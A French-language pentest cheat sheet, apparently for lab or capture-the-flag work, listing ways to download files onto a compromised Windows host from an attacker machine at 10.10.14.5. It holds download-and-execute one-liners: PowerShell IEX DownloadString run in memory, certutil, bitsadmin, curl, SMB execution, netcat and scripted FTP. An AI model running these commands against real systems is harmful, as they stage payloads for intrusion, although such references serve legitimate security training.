Téléchargements Windows
sommaire
PowerShell
IWR http://10.10.14.5/f.exe -OutFile C:\Windows\Temp\f.exe
(New-Object Net.WebClient).DownloadFile('http://10.10.14.5/f.exe','C:\Temp\f.exe')
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/s.ps1') # en memoire
certutil / curl / bitsadmin
certutil -urlcache -split -f http://10.10.14.5/f.exe C:\Temp\f.exe
curl.exe http://10.10.14.5/f.exe -o C:\Temp\f.exe
bitsadmin /transfer job http://10.10.14.5/f.exe C:\Temp\f.exe
SMB (depuis un partage Kali)
copy \\10.10.14.5\share\f.exe C:\Temp\
\\10.10.14.5\share\f.exe # executer directement depuis le partage
Netcat (nc.exe / nc64.exe)
# Kali (envoyeur) : nc -lvnp 4444 < f.exe
# Windows (receveur) : nc64.exe 10.10.14.5 4444 > f.exe
FTP (client intégré à Windows)
# Kali : python3 -m pyftpdlib -p 21 -w
# Windows : ftp est interactif -> script :
echo open 10.10.14.5 21 > ftp.txt & echo USER anonymous >> ftp.txt & echo anonymous >> ftp.txt & echo bin >> ftp.txt & echo GET f.exe >> ftp.txt & echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
Via SSH (OpenSSH Server sur la cible)
Voir le nœud « SSH / SCP / SFTP » : scp/sftp dans les deux sens — le plus simple quand on a déjà un accès SSH.